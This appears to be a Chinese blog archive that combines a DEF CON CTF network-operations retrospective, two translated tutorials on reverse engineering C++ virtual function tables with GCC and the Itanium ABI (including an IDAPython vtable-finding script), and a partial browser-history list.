赛后大家拍合照的时候，才意识到今年的人的确比去年多。虽然从WLAN的接入数量上没看出来，但网络流量基本是和去年持平的，可能是因为大家感觉现场公网比较卡，都自己找其他热点了……“网卡”甚至延续到了公布比赛成绩的时候，此时现场临时搭建的网络已经撤除，我在用会议室的Wifi，给大家直播DEF CON TV。奇妙的是，在公布第四名的时候，twitch开始转起了菊花……坏运气真的是能维持到最后一刻。最后大家围成一圈，在space的手机屏幕前，看完了整个闭幕式，也算是一种别样的体验了。 比赛后整理了下服务器上的数据，感觉从流量规模上和去年差不多，没有什么值得一提的。今年由于用了新的网络，也带来了一些问题和反思： 多备份，多测试，早上线，早测试，真的很重要。虽然是有一些不可抗力的因素在，但一些低级错误（比如写错路由表名字）还是不该发生的；</li> 复杂度太高不好，容易扯〇，但多尝试总是好事（只要不要太影响大家的信心……；</li> 赛中为了应付ogx</code>这个题，一度找不到服务器，看来只靠云也不太行；</li> 今年比赛临时写的三四个脚本里，其实去年都写过，所以资料保存很重要，但复用也很重要。不过这个意义不大了，毕竟明年要换主办方……；</li> 流量调度完全没做，也没有准备，这可能也是www题里大家互相干扰的一个原因，侧面说明协作的重要性；</li> 服务器之间数据共享也有问题，一份流量传N次，不过还好都是在同地域，没有花流量费……。</li> </ul> 除了网络有点抖动外，还为OOO感到可惜的一点是，题目泄漏实在是太出人意料了。按照这个题目难度，遵循600个flag即下线题目的规则，如果不出意外，这些题甚至很可能是大家都做不完的。然而木已成舟，事情已经发生了，也没有别的办法能够补救。 在多人协作方面，实际很容易观察到，人越多，维持协作的成本是几何级上涨的，而idarling</code>等工具在此时带来的麻烦甚至会远多于能解决的问题。我们在多人协作的方式、方法和工具上作出了一些努力，但这还不够，可能还需要更长远的设计，以及更多的资源投入。 Komm, süsser Tod</h2> 流水帐很长，也不知道有没有人看。总之最后，姑且作为运维，在OOO的比赛中存活下来了，特此留念，希望老了也不会忘掉。从网管视角里看到的就是这么多了，年纪大了，只能看别人做题。选手视角的有队友写了一份</a>，其他人或许也会写。 赛后看到了OOO原始的proposal</a>，反复读了两三遍。Zardus、adam和OOO的所有成员，必然是配的上inspiration这几个字的。Legitbs时代是在探索pwn的可能性，而OOO时代则是在探索Attack/Defense外的可能性，虽然并不总是能像legitbs一样硬核，但拥有了更宽广的想象空间。在这样糟糕而充满遗憾的、被地缘因素和”大人们”隔离的20年代，能参与这样的ctf比赛，无疑是OOO对CTF社区的馈赠。 很幸运能和这样的一群人打ctf。感谢几年中为比赛提供支持的mamamiya10等同学，能和你们坐在同一块地毯上让我感到很开心。感谢space对本文进行的fact check。 没有人</a>知道下一届defcon ctf会是什么样的，我只希望在逆全球化的浪潮中，还能有这样一个有趣的游戏可以玩。 不过对我自己来说，可能还会夹杂一点额外的私货。最近一年，自己已经离“纯粹的”安全研究远了很多，我熟悉的CTF也不是五年前的CTF了。这并不是坏事，反而让CTF对我来说更有意义，即是认识新朋友的方式，也是和旧识们见面的机会。引用宋教授的一句话</a>： 每年八月，放下手頭的工作，在Las Vegas見故交新知，並肩作戰，折騰平時不想折騰的軟件，速成平時用不到的技能，繼續發光發熱(與其讓生命生鏽)，享受這段時光。 </blockquote> （顺便求奖品，啥时候能发货） Rainy Days and Mondays</h2> 这几周，屋外的雨格外的勤。开始写blog的时候是周日，写完的时候已经是下一个周日了，也意识到自己也很久没更新博客了。 这可能也是把爱好当成工作的一个坏处，虽然还能有余力在工作之外抽出时间做点自己感兴趣的事情，但毕竟要考虑到避嫌的因素，不能把工作上的事情带到非工作的场合中，所以姑且写了点东西但也没发出来。 另一方面也发现，爱好当成工作，对爱好多少还是有一些影响的。前段时间和同学一起（冒着行程信息被公开分享的风险）吃了顿饭，等位的时候同学讨论的一些互联网产品自己甚至都没听说过。上班几年，感觉对新事情的嗅觉显著变淡了，不知道是因为和身边的人一样患上了「互联网公司流行性感冒」，闻不出有趣的产品，还是说这更多是自己的问题，只是假托工作的名义罢了。虽然也还年轻，但偶尔也会感叹自己老了……毕竟接受新事物的能力真的不如年轻人了。看看周围还在努力的同学和同事们，不由生出一丝愧意，鄙人何德何能…… 总之过段时间重写下blog，现在这样markdown的编写和存储方式，也不太容易和自己的其他资料存储在一起。最近在学Rust，感觉很有意思，清风拂面。

C++虚函数逆向(2)

2017-02-16T00:00:00+00:00

译者注：译者Silver@XDSEC，原文地址 https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/</a>，作者为Adam Schwalm。本系列的前作也有翻译，见 C++虚函数逆向（1）</a> </blockquote>

前言</h2>

在上一篇文章中，我描述了如何在一个小型C++程序中进行去虚化（识别虚函数调用中对应的函数体）。然而，这种方法的限制比较多，最主要的是因为这种方法是手动的，比较低效。如果程序中有大量的虚表，手动定位每张虚表，并创建对应的结构体和引用关系，是不现实的。

因此，在这一部分中，我会进一步介绍虚表的详细结构，以及如何通过编程的方法来寻找他们。此外，我还会介绍一下如何尽可能的还原这些虚表之间的关系，并借此还原这些虚表背后对应的类的关系。

但是首先，我要说明一下这些做法对哪些程序有用。在上一篇文章中我说过，大多数和虚表布局有关的具体细节，和编译器有极大的相关性。这是因为由于C++标准需要对各种底层架构进行适配。问题是，如果虚表的具体布局也成为标准的一部分，而刚好这种布局在某些架构上的实现比较低效，那么就会很尴尬。编译器开发者们必须在性能和兼容性之间作出抉择，而他们似乎更偏重前者。

更尴尬的是，由于不同编译器产生的程序经常需要互相调用，他们之间必须有一定的兼容性（这种问题在动态链接的时候尤为突出）。因此，编译器开发者们同意对诸如虚表布局、异常处理和其他的一些事情上，共同遵照某种约定。这些约定中，使用最广泛的是 Itanium C++ ABI</a>。这个标准被GCC、clang、ICC和其他很多种编译器使用（然而不包含Visual Studio）。下面的描述对这些编译器都是可用的。

Itanium ABI在某些地方没有作出具体规定。比如，不约定虚表应该表存储在哪个段中。因此下面的文章，更确切的说，是在描述GCC下的行为，也就是下图中高亮的部分。

此外，仍然注意以下几点：

示例代码编译时没有使用RTTI（如果启用的话，下面的工作会简单很多）</li>

程序不包含虚继承。这是因为讨论这个问题需要很长的篇幅，也很复杂，而虚继承的使用并不常见，我觉得用如此篇幅来描述这个问题是不合适的。</li>

下文描述的是32位程序。</li> </ul>

关于虚表</h2>

首先回忆一下上一篇文章。那篇文章中我们谈到，虚表可以理解为数据段中的一连串函数指针。这个数组只能被第一个元素的地址索引，因为访问其他元素都可以通过取偏移量的方法来搞定。

.rodata:08048D48 off_8048D48     dd offset sub_8048B6E</span></span>
.rodata:08048D4C                 dd offset sub_8048BC2</span></span>
.rodata:08048D50                 dd offset sub_8048BE0</span></span></code></pre>
这是在一个二进制文件中的一段内容，看起来符合以上定义。这是在.rodata</code>段中的一个由三个函数指针构成的数组，只有首元素被引用了。实际上，这就是</em>一个虚表。那么通过这个定义来寻找虚表，是十全十美的吗？</p>
观察下面的代码：</p>
#include</span> <iostream></span></span>
#include</span> <cstdlib></span></span>
</span>
struct</span> Mammal</span> {</span></span>
  Mammal</span>() {</span> std</span>::</span>cout </span><<</span> "Mammal::Mammal</span>\n</span>"</span>;</span> }</span></span>
  virtual</span> ~Mammal</span>() {}</span></span>
  virtual void</span> walk</span>() {</span> std</span>::</span>cout </span><<</span> "Mammal::walk</span>\n</span>"</span>;</span> }</span></span>
}</span>;</span></span>
</span>
struct</span> Cat</span> :</span> Mammal {</span></span>
  Cat</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::Cat</span>\n</span>"</span>;</span> }</span></span>
  virtual</span> ~Cat</span>() {}</span></span>
  virtual void</span> walk</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::walk</span>\n</span>"</span>;</span> }</span></span>
}</span>;</span></span>
</span>
struct</span> Dog</span> :</span> Mammal {</span></span>
  Dog</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::Dog</span>\n</span>"</span>;</span> }</span></span>
  virtual</span> ~Dog</span>() {}</span></span>
  virtual void</span> walk</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::walk</span>\n</span>"</span>;</span> }</span></span>
}</span>;</span></span>
</span>
struct</span> Bird</span> {</span></span>
  Bird</span>() {</span> std</span>::</span>cout </span><<</span> "Bird::Bird</span>\n</span>"</span>;</span> }</span></span>
  virtual</span> ~Bird</span>() {}</span></span>
  virtual void</span> fly</span>() {</span> std</span>::</span>cout </span><<</span> "Bird::fly</span>\n</span>"</span>;</span> }</span></span>
}</span>;</span></span>
</span>
//NOTE: this may not be taxonomically correct</span></span>
struct</span> Bat</span> :</span> Bird</span>,</span> Mammal</span> {</span></span>
  Bat</span>() {</span> std</span>::</span>cout </span><<</span> "Bat::Bat</span>\n</span>"</span>;</span> }</span></span>
  virtual</span> ~Bat</span>() {}</span></span>
  virtual void</span> fly</span>() {</span> std</span>::</span>cout </span><<</span> "Bat::fly</span>\n</span>"</span>;</span> }</span></span>
}</span>;</span></span>
</span>
int</span> main</span>() {</span></span>
  Bird </span>*</span>b</span>;</span></span>
  Mammal</span>*</span> m</span>;</span></span>
  if</span> (</span>rand</span>()</span> %</span> 2</span>) {</span></span>
    b </span>= new</span> Bat</span>()</span>;</span></span>
    m </span>= new</span> Cat</span>()</span>;</span></span>
  }</span> else</span> {</span></span>
    b </span>= new</span> Bird</span>()</span>;</span></span>
    m </span>= new</span> Dog</span>()</span>;</span></span>
  }</span></span>
  b</span>-></span>fly</span>()</span>;</span></span>
  m</span>-></span>walk</span>()</span>;</span></span>
}</span></span></code></pre>
看起来有五张虚表，分别是Mammal</code>、Cat</code>、Dog</code>、Bird</code>和Bat</code>类。然而，既然我说了“然而”，事情就没那么简单。实际上，满足前述判别条件的有六个区域。</p>
当你考虑多重继承的虚表结构的时候，你就知道为什么会有这样了：</p>
</p>
注意，Bat</code>类不仅包含了Bird</code>和Mammal</code>类的虚指针，还包含了他们的两个完整实例（也就是子对象）。而这两个虚指针指向的是另外一张表。因此，有多个父类的类，会为每个父类都准备了一张对应的虚表。它们在Itanium ABI中称作“虚表组”。</p>
虚表组</h2>
一个虚表组包含两类东西。一个是第一个父类的虚表，只有一张，称为“主虚表”，另外一个就是其他父类的虚表，可有多张，称为“次虚表”。这些表在二进制文件中是按照源码中的声明顺序紧密相联的。显然，Bat</code>类的虚表组应该像是这样的：</p>
Offset</th> Description</th> Bat's vtable for</th></tr></thead>

0</td> Address of Destructor 1</td> Bird</td></tr>
4</td> Address of Destructor 2</td> Bird</td></tr>
8</td> Address of Bat::Fly</td> Bird</td></tr>
12</td> Address of Destructor 1</td> Mammal</td></tr>
16</td> Address of Destructor 2</td> Mammal</td></tr>
20</td> Address of Mammal::walk</td> Mammal</td></tr>
</tbody></table>
每张虚表占用了12个字节。这里需要两个析构器，而且因为Mammal</code>没有覆盖walk</code>方法，我们需要让Bat</code>的虚表中包含Mammal::walk</code>。但是我们找遍文件也没有看到，在.rodata</code>段中有哪六个连续的函数指针。</p>
进一步研究Itanium的标准后，我们发现了原因。一张虚表不仅含有函数指针，还含有其他一些东西。下图是没有虚继承时的虚表结构：</p>
</p>
RTTI指针</code>一般会指向一个RTTI结构体。但是因为我们关闭了RTTI，所以这里应该是0。而第一个字段的值有点麻烦。它指的是，在一个子对象中，使用this指针的时候，要从这个对象的起始处添加多少字节。以下面的代码为例：</p>
Bat</span>*</span> bat </span>= new</span> Bat</span>()</span>;</span></span>
Bird</span>*</span> b </span>=</span> bat</span>;</span></span>
Mammal</span>*</span> m </span>=</span> bat</span>;</span></span></code></pre>
对b和m的赋值都是有效的。对b的赋值不需要什么指令，因为由于Bird</code>是Bat</code>的父类，且是第一个父类，那么在任何一个Bat</code>对象中，Bird</code>类的子对象都是第一个子对象。因此，指向Bat</code>对象的指针必然是指向Bird</code>类的指针，和单继承一样。</p>
但是，对m</code>的赋值，就需要一些工作了。Bat</code>中Mammal</code>子对象并不在首部，因此编译器需要为bat</code>指针的值加上一个偏移量，让m</code>能指到Mammal</code>上。这个偏移量是Bird</code>类实例化后的大小，再加上对齐。这个值取反后，就会存到前述的第一个字段Offset to Top</code>中。^{1</a></sup></p>}
这个字段，让我们能更方便的识别虚表组。虚表组包含多个连续的虚表，且其中每个虚表头部的Offset to Top</code>值都是递减的。观察下图：</p>
</p>
上面的代码编译之后的二进制文件中有六张虚表。2号表的第一个字段是-4，其他的都是0。RTTI指针也都是0，和我们预期一致。这个-4告诉我们：</p>

2号表是一个虚表组中的第二张表</li>
-4取反后是4，也就是说这个虚表组中第一张表（也就是1号表，因为虚表组中的表是紧密相联的）对应的实例大小为4。谨记，两张虚表共同构成了这个虚表组，而4仅仅是和第一个虚表对应的子对象的大小。</li>
</ul>
编程寻找虚表</h2>
根据上述理论，我们可以用下面这个小脚本来寻找二进制文件中所有的虚表和虚表组：</p>
""" A simple script to locate vtable groups in binaries with the Itanium ABI.</span></span>
Note that this script does not account for virtual inheritance or (more notably),</span></span>
cases were the vtable contains null pointers. This may happen in more recent</span></span>
compilers with purely abstract types.</span></span>
"""</span></span>
</span>
import</span> idaapi</span></span>
import</span> idautils</span></span>
</span>
def</span> read_ea</span>(</span>ea</span>):</span></span>
    return</span> (ea</span>+</span>4</span>,</span> idaapi</span>.</span>get_32bit</span>(ea))</span></span>
</span>
def</span> read_signed_32bit</span>(</span>ea</span>):</span></span>
    return</span> (ea</span>+</span>4</span>,</span> idaapi</span>.</span>as_signed</span>(idaapi</span>.</span>get_32bit</span>(ea)</span>,</span> 32</span>))</span></span>
</span>
def</span> get_table</span>(</span>ea</span>):</span></span>
    ''' Given an address, returns (offset_to_top, end_ea)</span></span>
    for the table  located at that address or None if there</span></span>
    is no table'''</span></span>
</span>
    ea</span>,</span> offset_to_top</span> =</span> read_signed_32bit</span>(ea)</span></span>
    ea</span>,</span> rtti_ptr</span> =</span> read_ea</span>(ea)</span></span>
    if</span> rtti_ptr</span> !=</span> 0</span>:</span></span>
        return</span> None</span></span>
    func_count</span> =</span> 0</span></span>
    while</span> True</span>:</span></span>
        next_ea</span>,</span> func_ptr</span> =</span> read_ea</span>(ea)</span></span>
        if</span> not</span> func_ptr</span> in</span> idautils</span>.</span>Functions</span>()</span>:</span></span>
            break</span></span>
        func_count</span> +=</span> 1</span></span>
        ea</span> =</span> next_ea</span></span>
    if</span> func_count</span> ==</span> 0</span>:</span></span>
        return</span> None</span></span>
    return</span> offset_to_top</span>,</span> ea</span></span>
</span>
def</span> get_table_group_bounds</span>(</span>ea</span>):</span></span>
    ''' Given an address, returns the (start_ea, end_ea) pair</span></span>
    for the table group located at that address'''</span></span>
    start_ea</span> =</span> ea</span></span>
    prev_offset_to_top</span> =</span> None</span></span>
    while</span> True</span>:</span></span>
        table</span> =</span> get_table</span>(ea)</span></span>
        if</span> table</span> is</span> None</span>:</span></span>
            break</span></span>
        offset_to_top</span>,</span> end_ea</span> =</span> table</span></span>
        if</span> prev_offset_to_top</span> is</span> None</span>:</span></span>
            if</span> offset_to_top</span> !=</span> 0</span>:</span></span>
                break</span></span>
            prev_offset_to_top</span> =</span> offset_to_top</span></span>
        elif</span> offset_to_top</span> >=</span> prev_offset_to_top</span>:</span></span>
            break</span></span>
        ea</span> =</span> end_ea</span></span>
    return</span> start_ea</span>,</span> ea</span></span>
</span>
def</span> find_tablegroups</span>(</span>segname</span>=</span>".rodata"</span>):</span></span>
    ''' Returns a list of (start, end) ea pairs for the</span></span>
    vtable groups in 'segname'</span></span>
    '''</span></span>
    seg</span> =</span> idaapi</span>.</span>get_segm_by_name</span>(segname)</span></span>
    ea</span> =</span> seg</span>.</span>startEA</span></span>
    groups</span> =</span> []</span></span>
    while</span> ea</span> <</span> seg</span>.</span>endEA</span>:</span></span>
        bounds</span> =</span> get_table_group_bounds</span>(ea)</span></span>
        if</span> bounds[</span>0</span>]</span> ==</span> bounds[</span>1</span>]</span>:</span></span>
            ea</span> +=</span> 4</span></span>
            continue</span></span>
        groups</span>.</span>append</span>(bounds)</span></span>
        ea</span> =</span> bounds[</span>1</span>]</span></span>
    return</span> groups</span></span></code></pre>
在IDAPython中加载上述脚本后，运行find_tablegroups</code>，即可得到所有找到的虚表组的地址。现在你可以为所欲为，比如根据这些信息为张虚表建立结构体，等等。</p>
但是，只知道虚表组在哪没什么用。我们还需要得知和这些虚表对应的不同类型之间，有什么样的关系。这样，我们才能了解每个虚函数调用中，有哪些函数可能被调用，从而得知这个对象在继承关系中处于怎样的位置。</p>
恢复类型关系</h2>
搞定这个问题，最简单的方法是，共用两个函数指针的两张虚表一定有某种关系。尽管不能恢复这些关系，但也足够给我们一些可用的信息了。</p>
但是，考虑一下C++中构造器和析构器的行为，我们可以做的更好。一个构造器需要做这些事情：</p>

调用父类的构造器</li>
初始化这个类型对应的虚表指针</li>
初始对象内部的成员</li>
运行构造器中的其他代码</li>
</ol>
析构器则相反：</p>

将虚表指针指向这个类的虚表</li>
运行析构器的其他代码</li>
销毁对象成员</li>
调用父类析构器</li>
</ol>
注意，虚表指针在析构器中又被重新设置了一次。考虑到在析构器中我们需要让虚函数调用发挥作用，这么做是正确的。假设我们将Bird</code>类改个名字，叫fly</code>。如果你要析构一个Bat</code>对象，那么在调用Bird</code>类的析构器时，应该调用的是Bird::fly</code>而不是Bat::fly</code>，因为这个对象已经不再是一个Bat</code>类的对象。因此，Bird</code>类的析构器一定要更新一下虚表。</p>
那么现在我们知道了，每个析构器都要调用父类的析构器，而这些析构器因为要重置虚表指针，也会和虚表之间产生引用关系。因此，我们可以通过跟踪析构器的行为，重新构造出继承关系。类似的思路在构造器上也能实现。</p>
考虑第一个虚表中的第一个项目（应该是一个析构器）：</p>
</p>
注意这里有两次赋值，都是在处理虚表指针，也就是刚才我们描述的析构器工作流程中的第一步。这个类看起来没有任何成员，因为析构器跳过了第二步和第三步，直接进行第四步。从其他函数在虚表中的位置（一个在6号表的头部，另一个在3号表的头部），可以看出他们都是析构器。对所有虚表都这样研究一下，我们可以得到这么一个拓扑：</p>
</p>
这和源码中描述的继承关系相符。</p>
识别构造器</h2>
原理很简单：所有把虚表的地址赋值给虚指针而不是析构器</em>的函数是构造器。这样我们能找到六个这样的函数：</p>
Constructor</th> Table</th></tr></thead>

sub_8048AEC</td> Table 1/2</td></tr>
sub_8048A64</td> Table 3</td></tr>
sub_80489A8</td> Table 4</td></tr>
sub_80488EC</td> Table 5</td></tr>
sub_8048864</td> Table 6</td></tr>
</tbody></table>
去虚化</h2>
来看一下主函数：</p>
</p>
很明显，在28和29行的调用是虚函数。此外，从上面的表格中，我们可以知道在13、16、22和25行的函数是构造器。有了这些准备，我们可以用第一篇文章中的知识，进行去虚化：</p>
</p>
这里，我把v0</code>的类型设置为type_8048D40*</code>。这是和第一张、第二张虚表以及第13行的构造器相关的类型。同理，第16行的构造器和第五张虚表有关联，我创建了一个名为type_8048D98</code>的类型（后面的地址是虚表开始的地址，你也可以随意改个名字）。第28和29行的v2</code>和v3</code>也能用这种方法处理好。</p>
到此，尽管源代码中包含可以帮助我们更容易识别类型和方法的字符串等信息，我们完全没有凭借这些信息，就完成了“去虚化”。</p>
小结</h2>
这个过程仍然非常笨拙，但至少我们前进了一步，现在我们基本上可以自动探测虚表了。现在，自动化创建和类对应的结构体已经有了可能，而自动定位构造器的位置也不是毫无可能。我们可以准备重构类型之间的继承树了。下一篇文章中，我们会研究更多相关的内容。</p>
^{1</sup>
译者注：还看不懂的话自己写个程序调一下</p>
</div>


C++虚函数逆向(1)
2016-12-29T00:00:00+00:00

译者注：译者Silver@XDSEC，原文地址https://alschwalm.com/blog/static/2016/12/17/reversing-c-virtual-functions/</a>，作者为Adam Schwalm。译文首发于Freebux。本来想投36x赚点稿费，但是他们的编辑器实在太难用了，就投了支持Markdown的Freebux，结果后来才知道36x也能用markdown投……嘛，反正已经投了，就这样吧。</p>
</blockquote>
前言</h2>
关于C++程序的逆向，网络上已经有很多文章了，这些文章也或多或少的提到了虚函数。然而，这篇文章中，我想着重介绍一下，在代码量比较大的程序中，我们应该如何处理虚函数。这些程序里，通常存在着数以千计的类，类型之间的关系也很复杂，因此在我看来，分享处理这些类的经验是很有价值的。但在我介绍这些复杂的案例之前，我会先介绍一些简单的栗子。如果你已经对虚函数的逆向有了一些了解，那么可以直接去看本文的第二部分。（译者注：截止本文翻译结束前，作者尚未发布第二部分）</p>
此外，注意以下几点：</p>

示例代码编译时没有使用RTTI，也没有使用异常机制</li>
下文中的样例在x86平台上测试</li>
所有的二进制文件已经被strip了（剥离了符号）</li>
大多数虚函数的实现细节是没有特定标准的，因此不同编译器对此的处理方法很可能不一致。因此，我们将着重讨论GCC编译器的行为</li>
</ul>
另外，我们的文件编译时的命令行参数为g++ -m32 -fno-rtti -fnoexceptions -O1 file.cpp</code>，输出文件用strip</code>处理过。</p>
目标</h2>
大多数情况下，我们是没办法让一个对虚函数的调用，变换为一个对非虚函数的调用的。这是因为，我们需要的信息在静态编译中是不全面的，只有在运行时才会存在。因此，这段文章的目标，
是判断哪些函数会在特定的情况下被调用。稍后我们会学习其他的技巧，来进一步缩小范围。</p>
基本功</h2>
假设你已经比较熟悉C++了，但对它的具体实现还不太熟悉，那么就先来看一看编译器是如何实现虚函数的。现在有这么一段代码：</p>
// file reversing-1.cpp</span></span>
</span>
</span>
#include</span> <cstdlib></span></span>
</span>
#include</span> <iostream></span></span>
</span>
</span>
</span>
struct</span> Mammal</span> {</span></span>
</span>
Mammal</span>() {</span> std</span>::</span>cout </span><<</span> "Mammal::Mammal</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual</span> ~Mammal</span>() {</span> std</span>::</span>cout </span><<</span> "Mammal::~Mammal</span>\n</span>"</span>;</span> }</span>;</span></span>
</span>
virtual void</span> run</span>()</span> =</span> 0</span>;</span></span>
</span>
virtual void</span> walk</span>()</span> =</span> 0</span>;</span></span>
</span>
virtual void</span> move</span>() {</span> walk</span>()</span>;</span> }</span></span>
</span>
}</span>;</span></span>
</span>
</span>
</span>
struct</span> Cat</span> :</span> Mammal {</span></span>
</span>
Cat</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::Cat</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual</span> ~Cat</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::~Cat</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual void</span> run</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::run</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual void</span> walk</span>() {</span> std</span>::</span>cout </span><<</span> "Cat::walk</span>\n</span>"</span>;</span> }</span></span>
</span>
}</span>;</span></span>
</span>
</span>
</span>
struct</span> Dog</span> :</span> Mammal {</span></span>
</span>
Dog</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::Dog</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual</span> ~Dog</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::~Dog</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual void</span> run</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::run</span>\n</span>"</span>;</span> }</span></span>
</span>
virtual void</span> walk</span>() {</span> std</span>::</span>cout </span><<</span> "Dog::walk</span>\n</span>"</span>;</span> }</span></span>
</span>
}</span>;</span></span>
</span></code></pre>
然后还有这么一段调用他们的代码：</p>
// file reversing-2.cpp</span></span>
</span>
int</span> main</span>() {</span></span>
</span>
</span>
Mammal </span>*</span>m</span>;</span></span>
</span>
if</span> (</span>rand</span>()</span> %</span> 2</span>) {</span></span>
</span>
m </span>= new</span> Cat</span>()</span>;</span></span>
</span>
}</span> else</span> {</span></span>
</span>
m </span>= new</span> Dog</span>()</span>;</span></span>
</span>
}</span></span>
</span>
m</span>-></span>walk</span>()</span>;</span></span>
</span>
</span>
</span>
delete</span> m</span>;</span></span>
</span>
}</span></span>
</span></code></pre>
很显然，m</code>是cat</code>类还是dog</code>类，取决于rand</code>函数的输出。这是无法被编译器提前预测的，那么编译器是怎么调用合适的walk</code>函数呢？</p>
由于我们把walk</code>函数声明为了虚函数，编译器会在程序所处的内存空间中，插入一张含有函数指针的表，称为“虚函数表”，也就是“虚表”(vtable</code>)；而在实例化类的时候，每个对象会多出一个称作“虚指针”(vptr</code>)的成员，这个虚指针指向正确的虚表，初始化这个虚指针的代码会被添加到类的构造函数中。这样，当编译器需要调用虚函数的时候，就可以通过虚指针找到对应的虚表，从而找到合适的函数，进而调用他。这也意味着，具有同一个父类的子类，其虚表中函数的顺序也应该是一致的。比如，在上面的例子中，Dog</code>和Cat</code>类都是Mammal</code>类的子类，那么Dog</code>类的虚表中，第一项指向的是Dog::run</code>，第二项指向的是Dog::walk</code>，而Cat</code>类的虚表中，第一项指向的是Cat::run</code>，第二项则是Cat::walk</code>。</p>
通过在.rodata</code>段中寻找指向函数的偏移量，我们可以在二进制文件中轻松地找到Mammal</code>，Cat</code>和Dog</code>类的虚表，如下图所示。</p>
</p>
主函数这时候被编译成了这个样子：</p>
</p>
可以看到，程序在实例化类的时候，为每个对象申请了4字节的内存空间，这和我们预期是相符的（因为每个类中没有数据成员，而编译器为我们添加了vptr</code>）。我们也可以在第15行和第17行中，看到对虚函数的调用过程。在第15行中，编译器先对指针解引用，从而获得vptr</code>；接下来计算vptr+12</code>，也就是访问虚表中的第四项，而第17行则是访问虚表中的第二项。之后，程序调用虚表中对应项目指向的函数。</p>

</p>
我们再看一下，三张虚表的第四项分别是sub_80487AA</code>、sub_804877E</code>和___cxa_pure_virtual</code>。前两个函数如上图所示，分别是Dog</code>和Cat</code>类中对walk</code>函数的实现，那么最后一个函数一定是Mammal</code>类中对应的实现了。这很正常，因为Mammal</code>类中没有定义walk</code>的具体实现，而是声明其为“纯虚函数”，那么就GCC就帮我们插入了一个默认的项目。那么到这里我们知道了，虚表1是属于Mammal</code>类的，而2和3分别是属于Cats</code>和Dogs</code>类的。</p>
但比较奇怪的是，每个vtable中含有五个项目，而在我们的程序中，每个类只有四个虚函数，他们分别是：</p>

run</code></li>
walk</code></li>
move</code></li>
析构器</li>
</ul>
实际上，多出来的项目是一个“额外的”析构器。这是因为，GCC会在不同的场景中，使用不同的析构函数。前者只是简单的把实例对应的所有成员都清理掉，而后者则会同时要求回收为这个实例分配的内存，这也就是在第17行调用的函数。在某些涉及到虚继承的情况下，还会有第三种析构器。</p>
那么现在我们搞清楚了虚表的布局：</p>
| Offset | Pointer to  |</span></span>
|--------+-------------|</span></span>
|      0 | Destructor1 |</span></span>
|      4 | Destructor2 |</span></span>
|      8 | run         |</span></span>
|     12 | walk        |</span></span>
|     16 | move        |</span></span>
</span></code></pre>
值得注意的是，虚表的前两个项目是空指针。这是新版本GCC的一个特征，当类具有纯虚函数时，编译器会将其析构器替换为空指针。</p>
现在可以考虑给他们重命名，以方便阅读：</p>
</p>
注意，由于Cat</code>和Dog</code>类都没有实现move</code>方法，因此他们直接采用了Mammal</code>类中的方法，虚表中的项目值也一样。</p>
结构体</h2>
为了研究方便，我们定义几个结构体。刚才我们已经看到了Mammal</code>、Cat</code>和Dog</code>类的唯一成员是他们的虚指针，因此做定义如下：</p>
</p>
接下来就比较麻烦了：我们需要为每个虚表创建一个结构体。这是为了让反编译器能够更清楚的向我们展示，如果m</code>具有一个特定类型的话，哪个函数应该被调用。这样，我们在阅读代码的时候就可以排除很多干扰了。那么为了达成这个目的，我们需要把结构体中的每个项目命名为对应的函数名：</p>
</p>
接下来，把类中虚指针的类型调整为指向对应虚表的指针。比如，Cat</code>类的vptr</code>成员，应该使用CatVtable*</code>类型。此外，我还把虚表中每个项目的类型都改为了函数指针，比如Dog__run</code>的类型是void (*)(Dog*)</code>，这样就更容易识别了。</p>
最后一步是回到原来的代码中，为变量赋予适当的类型：</p>
</p>
上面是把m</code>设定为Cat*</code>或Dog*</code>，可以看到，现在的代码比刚才简洁很多：如果m</code>是Dog</code>类型的话，那么第15行调用的就是Dog__walk</code>，否则是Cat__walk</code>。这个例子很简单，但能够说明我们大致的思路了。</p>
我们也可以把m</code>设置为Mammal*</code>类型，但效果就不太好了：</p>
</p>
假设m</code>是Mammal*</code>类型，那么第15行就会调用一个纯虚函数，这是不可能的，此外第17行的调用也会产生问题。因此我们可以推测，m</code>一定不是Mammal*</code>类型。</p>
这种和源代码不符的说法，可能听上去比较奇怪。实际上，这是因为在编译时，我们给m</code>赋予的是一个编译时的类型（静态类型），但我们更关注它的动态类型（或者说是运行时的类型），因为这才是决定哪个虚函数被调用的关键。事实上，一个元素的动态类型，基本永远不可能是一个抽象类。因此如果给出的虚表中，含有一个___cxa_pure_virtual</code>函数，那这个类型可能并不是他的运行时类型，可以无视。实际刚才的例子中我们完全可以不给Mammal</code>类的虚表创建一个结构体，因为这个结构体永远都不会用到。</p>
通过以上的分析，我们知道了，动态类型可能是Cat</code>或者Dog</code>，我们也知道了如何通过查看虚表的项目，来判断哪个函数会被调用，这是C++虚函数逆向的第一步。下一步，我们会介绍如何处理更多、更复杂的二进制程序和继承关系。</p>


EOF@2016: My Browser A-Z
2016-12-28T00:00:00+00:00
第一次做这种事情，感觉挺有意思的……另外今年重装了一次系统，所以这个记录应该是不完整的</p>

A

anitama.cn: 很不错的动画评论网站</li>
</ul>
</li>
B

bilibili.tv: 《真田丸》</li>
bbs.xdsec.club: 内部论坛</li>
</ul>
</li>
C

ctf.xdsec.club: 几次CTF的域名</li>
content.[???]: 本地的资源索引</li>
cb.drops.wiki: 本地资源打不开的时候……</li>
</ul>
</li>
D

dilidili.com: 另一个看番的地方</li>
dream.[???].18.xdsec.club: 内网的站点</li>
down.52pojie.cn: 今年虚拟机崩的次数比去年一年都多……</li>
drops.wooyun.org: R.I.P</li>
drops.[???].[???]: make reinstall</code></li>
</ul>
</li>
E

evernote.com: 笔记</li>
element14.com: 买了两个树莓派……</li>
</ul>
</li>
F

freebuf.com: 略</li>
</ul>
</li>
G

google.com: 还是习惯从网页里搜</li>
gmail.com: 搜邮件</li>
